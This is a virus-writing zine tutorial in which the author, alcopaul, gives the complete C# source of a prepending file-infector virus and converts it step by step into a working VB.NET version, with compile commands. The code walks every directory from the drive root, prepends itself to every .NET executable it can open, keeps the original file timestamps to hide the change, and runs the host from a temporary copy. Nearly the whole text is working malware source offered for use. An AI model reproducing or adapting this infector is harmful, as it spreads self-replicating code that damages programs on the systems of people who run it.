Let's Code A VB.NET Prepending Virus : Part of Brigada Ocho's Let's Code Series
--------------------------------------------------------------------------------

here we go again... i'm alcopaul and we'll code a VB.NET prepending virus.

we ain't do things from the scratch.. we've got msil.hllp.thisAINTSharpei as a template 
so all we gotta do is to translate the c# code to VB.NET code... so may i restate my
previous statement..

"i'm alcopaul and we'll convert a c# prepending virus to its VB.NET representation."

so let's not waste time...

the code to work on...

--------------------------------------------------------------------------------

MSIL.HLLP.THISAINTSHARPEI source code : Let's Code Output By Alcopaul

compile: csc dflat.cs


using System;
using System.IO;
using System.Reflection;
using System.Text;
using System.Diagnostics;
using System.Security.Cryptography;

public class virus
{
public static void Main(string[] args)
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
StringBuilder arguments = new StringBuilder();
foreach(string arg in args)
{
arguments.Append(arg + " ");
}
try
{
FileInfo fi = new FileInfo(self.FullyQualifiedName);
long x1 = fi.Length;
int x = (int) x1;
byte[] www = readx(self.FullyQualifiedName, x - 5632, 5632);
byte[][] xxx = {www};
string nom = hostname();
writex(nom, xxx);
fireup(nom, arguments.ToString());
}
catch
{
}
string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory());
DispEXE(rootdir);
}

public static void DispEXE(string tD) 
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string [] xfiles = Directory.GetFiles(tD, "*.exe");
foreach(string xfile in xfiles)
{
try
{
AssemblyName AN = AssemblyName.GetAssemblyName(xfile);
byte[] data1 = readx(self.FullyQualifiedName,1000,0);
byte[] data2 = readx(xfile,1000,0);

if (sha1x(data1)==sha1x(data2))
{
continue;
}

else

{
try
{
FileInfo fi = new FileInfo(xfile);
long x1 = fi.Length;
int x = (int) x1;
DateTime timestamp = File.GetCreationTime(xfile);
byte[] data3 = readx(self.FullyQualifiedName,5632,0);
byte[] data4 = readx(xfile,x,0);
byte[][] data5 = {data3,data4};
writex(xfile,data5);
File.SetCreationTime(xfile,timestamp);
}

catch
{
continue; //next file
}

}
continue;
}

catch
{
continue;
}

}
string[] sdirs = Directory.GetDirectories(tD);
foreach(string sdir in sdirs)
DispEXE(sdir);
}

public static byte[] readx(string filename, int size, int pntr)
{
FileStream xs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) size; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(pntr, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
return xxx;
}

public static void writex(string filename, byte[][] data)
{
FileStream sx = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
foreach(byte[] g in data)
{
bw.Write(g);
}
bw.Close(); //to the target...
}

public static string sha1x(byte[] putin)
{
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(putin);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < putin.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", putin[counter]));
}
return hexString.ToString();
}

public static string hostname()
{
Random rand = new Random();
string rndno= rand.Next(999999).ToString();
string hostfile = "t" + rndno + ".exe";
return hostfile;
}

public static void fireup(string hostfile, string arguments)
{
Process.Start(hostfile,arguments); //fire up the host with arguments
wet:
try
{
File.Delete(hostfile); // try deleting host
}
catch
{
goto wet; // if error (active or still running) delete it again
}
// to assure that host will be deleted
if (File.Exists(hostfile)==true)
goto wet;
}
}
--------------------------------------------------------------------------------

target: VB.NET code....

as our tradition, we'll do dividing and conquering... here's a list of our tasks..

1.) translate using (Namespace) to equivalent VB.NET representation
2.) translate virus class to equivalent VB.NET representation
2.a.)translate Main to equivalent VB.NET representation
2.b.)translate readx to equivalent VB.NET representation
2.c.)translate DispEXE to equivalent VB.NET representation
2.d.)translate writex to equivalent VB.NET representation
2.e.)translate sha1x to equivalent VB.NET representation
2.f.)translate hostname to equivalent VB.NET representation
2.g.)translate fireup to equivalent VB.NET representation
2.h.)plug the translated snippets to form a VB.NET virus
2.i.)name our VB.NET virus

as UFC referee always utters, "Are you ready? Are you ready? Let's get it on!"

TASKS
=====

note: a little knowledge of VB.NET is required..

1.) translate using (Namespace) to equivalent VB.NET representation

c#

using System;
using System.IO;
using System.Reflection;
using System.Text;
using System.Diagnostics;
using System.Security.Cryptography;

if in c# we use using to reference the namespaces that our program derive its
functions from, in VB.NET, it's Imports..

------------------------------------------------------------------------------

Imports Statement

Imports namespace names from referenced projects and assemblies. Also imports namespace 
names defined within the same project as the file in which the statement appears.

Imports [ aliasname = ] namespace [ . element ]

Parts

aliasname 
Optional. The name by which namespace may also be known or referred to. When the 
Imports statement does not include aliasname, the elements defined within the 
specified namespace can be accessed within the file without qualification. When 
aliasname is specified, it must be used as a qualifier for the names contained in 
the namespace. Aliases are useful when you need to use items with the same name 
that are declared in one or more namespaces. 

namespace 
Required. The name of the namespace being imported. The namespace can be any number 
of nesting levels deep. 

element 
Optional. The name of an element declared in the namespace. The element can be an 
enumeration, structure, class, or module.

so accomplishing our task is relatively easy..

vb.net is not case sensitive but awareness of cases is a plus for a dotnet
programmer...

=========================================
code 1
======

Imports System
Imports System.IO
Imports System.Reflection
Imports System.Text
Imports System.Diagnostics
Imports System.Security.Cryptography
=========================================

DONE

2.) translate virus class to equivalent VB.NET representation

in c#, the functions must be contained in a class

public class virus
{
(funcs, routines, methods)
}

in VB.NET, code is stored in project modules. Projects are composed of files, 
which are compiled into applications. since our virus will be composed of
a single module and is an exe file, then it is a must for us to enclose the routines 
in a module via the Module statement... with a module block, we can obtain its fully qualified
name, which is essential to the prepending virus to open and read itself///

----------------
Module Statement

Declares a module block.

[ <attrilist> ] [ Public | Friend ] Module name
   [ statements ]

End Module

Parts

attrlist 
Optional. List of attributes that apply to this module. Multiple attributes 
are separated by commas. 

Public 
Optional. Modules declared with the Public keyword have public access. 
There are no restrictions on the accessibility of public modules. 

Friend 
Optional. Modules declared with the Friend keyword have friend access. They 
are accessible from within the program that contains their declaration and from 
anywhere else in the same assembly. Modules that do not specify an access modifier 
are declared as Friend by default. 

name 
Required. Name of the module. Must be a valid Visual Basic identifier. 

statements 
Optional. Statements that comprise the variables, properties, events, and 
methods of the module. 

End Module 
Terminates a Module block. 

Each attribute in the attrlist part has the following syntax and parts:

attrname [({ attrargs | attrinit })]

attrlist Parts

attrname 
Required. Name of the attribute. Must be a valid Visual Basic identifier. 

attrargs 
Optional. List of positional arguments for this attribute. Multiple arguments 
are separated by commas. 

attrinit 
Optional. List of field or property initializers for this attribute. Multiple 
initializers are separated by commas. 

Remarks
Modules are a reference type similar to classes, but with some important 
distinctions. The members of a module are implicitly Shared and scoped to the 
declaration space of the standard module's containing namespace, rather than 
just to the module itself. Unlike classes, modules can never be instantiated, 
do not support inheritance, and cannot implement interfaces. A module can only 
be declared in a namespace and cannot be nested in another type.

You can have multiple modules in a project, but members with the same name defined 
in two or more modules must be qualified with their module name when accessed 
outside of their module.

Example
Public Module Module1
   ' Add classes, properties, methods, fields, and events for this module.
End Module

============================================================
code 2
=======

Public Module virus
   'functions here
End Module
============================================================

2.a.)translate Main to equivalent VB.NET representation

let's get the Main function of our c# virus

public static void Main(string[] args)
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
StringBuilder arguments = new StringBuilder();
foreach(string arg in args)
{
arguments.Append(arg + " ");
}
try
{
FileInfo fi = new FileInfo(self.FullyQualifiedName);
long x1 = fi.Length;
int x = (int) x1;
byte[] www = readx(self.FullyQualifiedName, x - 5632, 5632);
byte[][] xxx = {www};
string nom = hostname();
writex(nom, xxx);
fireup(nom, arguments.ToString());
}
catch
{
}
string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory());
DispEXE(rootdir);
}

let's convert that to vb.net rep

===============================================================
code 2.a
=========

Public Sub Main(ByVal args as String()) 'Main is always Sub, args is always String Array
Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0)
Dim args1 As New StringBuilder()
Dim arg As String
For Each arg In args
args1.Append(arg & " ")
Next
Try
Dim fi As New FileInfo(self.FullyQualifiedName)
Dim x1 As Long = fi.Length
Dim x As Integer = CInt(x1)
Dim www As Byte() = readx(self.FullyQualifiedName, (x - 5632), 5632)
Dim xxx As Byte()() = {www}
Dim nom As String = hostname
writex(nom, xxx)
fireup(nom, args1.ToString())
Catch
End Try
Dim rootdir As String = Path.GetPathRoot(Directory.GetCurrentDirectory())
DispEXE(rootdir)
End Sub
--------------------------------------------------------------------------------


2.b.)translate readx to equivalent VB.NET representation

C#

public static byte[] readx(string filename, int size, int pntr)
{
FileStream xs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) size; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(pntr, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
return xxx;
}

the function gets three arguments and returns a byte array..

VB.NET

===========================================================
code 2.b
========

'returns byte array
Public Function readx(ByVal filename As String, ByVal size As Integer, ByVal pntr As Integer) As Byte()
Dim xs As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read)
Dim br AS New BinaryReader(xs)
Dim selflen As Integer = size
br.BaseStream.Seek(pntr, SeekOrigin.Begin)
Dim xxx(selflen) As Byte
Dim bytestoread As Integer = selflen
Dim count1 As Integer = 0
While bytestoread > 0
Dim v As Integer = br.Read(xxx,count1,bytestoread)
If v = 0 Then
Exit While
End If
count1 += v
bytestoread -= v
End While
br.Close
readx = xxx
End Function

============================================================

we used function coz it returns somethin... if it doesn't, then we ought to use Sub
simple ei!

2.c.)translate DispEXE to equivalent VB.NET representation

c#

public static void DispEXE(string tD) 
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string [] xfiles = Directory.GetFiles(tD, "*.exe");
foreach(string xfile in xfiles)
{
try
{
AssemblyName AN = AssemblyName.GetAssemblyName(xfile);
byte[] data1 = readx(self.FullyQualifiedName,1000,0);
byte[] data2 = readx(xfile,1000,0);
if (sha1x(data1)==sha1x(data2))
{
continue;
}
else
{
try
{
FileInfo fi = new FileInfo(xfile);
long x1 = fi.Length;
int x = (int) x1;
DateTime timestamp = File.GetCreationTime(xfile);
byte[] data3 = readx(self.FullyQualifiedName,5632,0);
byte[] data4 = readx(xfile,x,0);
byte[][] data5 = {data3,data4};
writex(xfile,data5);
File.SetCreationTime(xfile,timestamp);
}
catch
{
continue; //next file
}
}
continue;
}
catch
{
continue;
}
}
string[] sdirs = Directory.GetDirectories(tD);
foreach(string sdir in sdirs)
DispEXE(sdir);
}

since the procedure doesn't return somethin, we'll assign it as a Sub procedure...

VB.NET code

========================================================
code 2.c.
=========

Public Sub DispEXE(ByVal tD As String)
Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0)
Dim xfiles As String() = Directory.GetFiles(tD, "*.exe")
Dim xfile As String
For Each xfile in xfiles
Try
Dim AN As AssemblyName = AssemblyName.GetAssemblyName(xfile)
Catch
Goto g
End Try

Dim data1 As Byte() = readx(self.FullyQualifiedName,1000,0)
Dim data2 As Byte() = readx(xfile,1000,0)
If sha1x(data1) = sha1x(data2) Then
Goto g
Else
'infection
Try
Dim fi As New FileInfo(xfile)
Dim x1 As Long = fi.Length
Dim x As Integer = CInt(x1)
Dim timestamp As DateTime = File.GetCreationTime(xfile)
Dim data3 As Byte() = readx(self.FullyQualifiedName,5632 - 1,0) 'Base is 0
Dim data4 As Byte() = readx(xfile,x - 1,0) 'Base is 0
Dim data5 As Byte()() = {data3,data4}
writex(xfile,data5)
File.SetCreationTime(xfile,timestamp)
Goto gg
Catch
Goto g
End Try
gg:
End If
g:
Next xfile
Dim sdirs As String() = Directory.GetDirectories(tD) 'recursion
Dim sdir As String
For Each sdir in sdirs
DispEXE(sdir)
Next sdir
End Sub

===================================================================

I must admit, this code is sloppy coz of the use of Goto... nested tries and catches
and ifs in between suck in vb.net so i had to resort to this sloppy code.....

2.d.)translate writex to equivalent VB.NET representation

getting the writex procedure in c# representation

c#

public static void writex(string filename, byte[][] data)
{
FileStream sx = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
foreach(byte[] g in data)
{
bw.Write(g);
}
bw.Close(); //to the target...
}

transforming to VB.NET

============================================================
code 2.d.
=========

Public Sub writex(ByVal filename As String, ByVal data As Byte()())
Dim sx As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write)
Dim bw As New BinaryWriter(sx)
bw.BaseStream.Seek(0, SeekOrigin.Begin)
Dim g() As Byte
For Each g in data
bw.Write(g)
Next g
bw.Close()
End Sub
==============================================================


2.e.)translate sha1x to equivalent VB.NET representation

C# code

public static string sha1x(byte[] putin)
{
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(putin);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < putin.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", putin[counter]));
}
return hexString.ToString();
}

VB.NET code

===================================================================
code 2.e.
=========

Public Function sha1x(ByVal putin As Byte()) As String
Dim mark1 As New SHA1CryptoServiceProvider()
Dim result1 As Byte() = mark1.ComputeHash(putin)
Dim hexString As New StringBuilder()
Dim counter As Integer
For counter = 0 To CInt(putin.Length - 1)
hexString.Append(String.Format("{0:X2}", putin(counter)))
Next counter
sha1x = hexString.ToString()
End Function
==================================================================

2.f.)translate hostname to equivalent VB.NET representation

C# code

public static string hostname()
{
Random rand = new Random();
string rndno= rand.Next(999999).ToString();
string hostfile = "t" + rndno + ".exe";
return hostfile;
}

Let's Code!

VB.NET

===================================================================
code 2.f

'use function if it returns somethin'
Public Function hostname() As String
Dim rand As New Random()
Dim rndno As String = rand.Next(999999).ToString()
Dim hostfile As String = "t" & rndno & ".exe"
hostname = hostfile
End Function
===================================================================

whew! no sweat.. let's go to our next task..

2.g.)translate fireup to equivalent VB.NET representation

c# code

public static void fireup(string hostfile, string arguments)
{
Process.Start(hostfile,arguments); //fire up the host with arguments
wet:
try
{
File.Delete(hostfile); // try deleting host
}
catch
{
goto wet; // if error (active or still running) delete it again
}
// to assure that host will be deleted
if (File.Exists(hostfile)==true)
goto wet;
}

recoding...

vb.net code

=====================================================================
code 2.g.
========

Public Sub fireup(ByVal hostfile As String, ByVal arguments As String)
Process.Start(hostfile,arguments)
wet:
Try
File.Delete(hostfile)
Catch
Goto wet
End Try
If File.Exists(hostfile) = True Then
Goto wet
End If
End Sub
======================================================================


2.h.)plug the translated snippets to form a VB.NET virus

hmmn.. 

===============================================
code 2.h
=========

Imports System
Imports System.IO
Imports System.Reflection
Imports System.Text
Imports System.Diagnostics
Imports System.Security.Cryptography

Public Module virus

Public Sub Main(ByVal args as String()) 'Main is always Sub, args is always String Array
Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0)
Dim args1 As New StringBuilder()
Dim arg As String
For Each arg In args
args1.Append(arg & " ")
Next
Try
Dim fi As New FileInfo(self.FullyQualifiedName)
Dim x1 As Long = fi.Length
Dim x As Integer = CInt(x1)
Dim www As Byte() = readx(self.FullyQualifiedName, (x - 5632), 5632)
Dim xxx As Byte()() = {www}
Dim nom As String = hostname
writex(nom, xxx)
fireup(nom, args1.ToString())
Catch
End Try
Dim rootdir As String = Path.GetPathRoot(Directory.GetCurrentDirectory())
DispEXE(rootdir)
End Sub

'returns byte array
Public Function readx(ByVal filename As String, ByVal size As Integer, ByVal pntr As Integer) As Byte()
Dim xs As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read)
Dim br AS New BinaryReader(xs)
Dim selflen As Integer = size
br.BaseStream.Seek(pntr, SeekOrigin.Begin)
Dim xxx(selflen) As Byte
Dim bytestoread As Integer = selflen
Dim count1 As Integer = 0
While bytestoread > 0
Dim v As Integer = br.Read(xxx,count1,bytestoread)
If v = 0 Then
Exit While
End If
count1 += v
bytestoread -= v
End While
br.Close
readx = xxx
End Function

Public Sub DispEXE(ByVal tD As String)
Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0)
Dim xfiles As String() = Directory.GetFiles(tD, "*.exe")
Dim xfile As String
For Each xfile in xfiles
Try
Dim AN As AssemblyName = AssemblyName.GetAssemblyName(xfile)
Catch
Goto g
End Try

Dim data1 As Byte() = readx(self.FullyQualifiedName,1000,0)
Dim data2 As Byte() = readx(xfile,1000,0)
If sha1x(data1) = sha1x(data2) Then
Goto g
Else
'infection
Try
Dim fi As New FileInfo(xfile)
Dim x1 As Long = fi.Length
Dim x As Integer = CInt(x1)
Dim timestamp As DateTime = File.GetCreationTime(xfile)
Dim data3 As Byte() = readx(self.FullyQualifiedName,5632 - 1,0)
Dim data4 As Byte() = readx(xfile,x - 1,0)
Dim data5 As Byte()() = {data3,data4}
writex(xfile,data5)
File.SetCreationTime(xfile,timestamp)
Goto gg
Catch
Goto g
End Try
gg:
End If
g:
Next xfile
Dim sdirs As String() = Directory.GetDirectories(tD) 'recursion
Dim sdir As String
For Each sdir in sdirs
DispEXE(sdir)
Next sdir
End Sub

Public Sub writex(ByVal filename As String, ByVal data As Byte()())
Dim sx As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write)
Dim bw As New BinaryWriter(sx)
bw.BaseStream.Seek(0, SeekOrigin.Begin)
Dim g() As Byte
For Each g in data
bw.Write(g)
Next g
bw.Close()
End Sub

Public Function sha1x(ByVal putin As Byte()) As String
Dim mark1 As New SHA1CryptoServiceProvider()
Dim result1 As Byte() = mark1.ComputeHash(putin)
Dim hexString As New StringBuilder()
Dim counter As Integer
For counter = 0 To CInt(putin.Length - 1)
hexString.Append(String.Format("{0:X2}", putin(counter)))
Next counter
sha1x = hexString.ToString()
End Function

'use function if it returns somethin'
Public Function hostname() As String
Dim rand As New Random()
Dim rndno As String = rand.Next(999999).ToString()
Dim hostfile As String = "t" & rndno & ".exe"
hostname = hostfile
End Function

Public Sub fireup(ByVal hostfile As String, ByVal arguments As String)
Process.Start(hostfile,arguments)
wet:
Try
File.Delete(hostfile)
Catch
Goto wet
End Try
If File.Exists(hostfile) = True Then
Goto wet
End If
End Sub

End Module

====================================================================

save as: virus.vb
compile: vbc /target:winexe /reference:System.dll virus.vb

2.i.)name our VB.NET virus

msil.hllp.vb00m is a nice name..

Closing time
============

that was a bit fast.. the moral lesson here is when it comes to dotnet,
VB.NET must be given much respect coz C# is quite like VB.NET in the sense....

alcopaul
brigada ocho

!compilable source is in the sources section of this zine
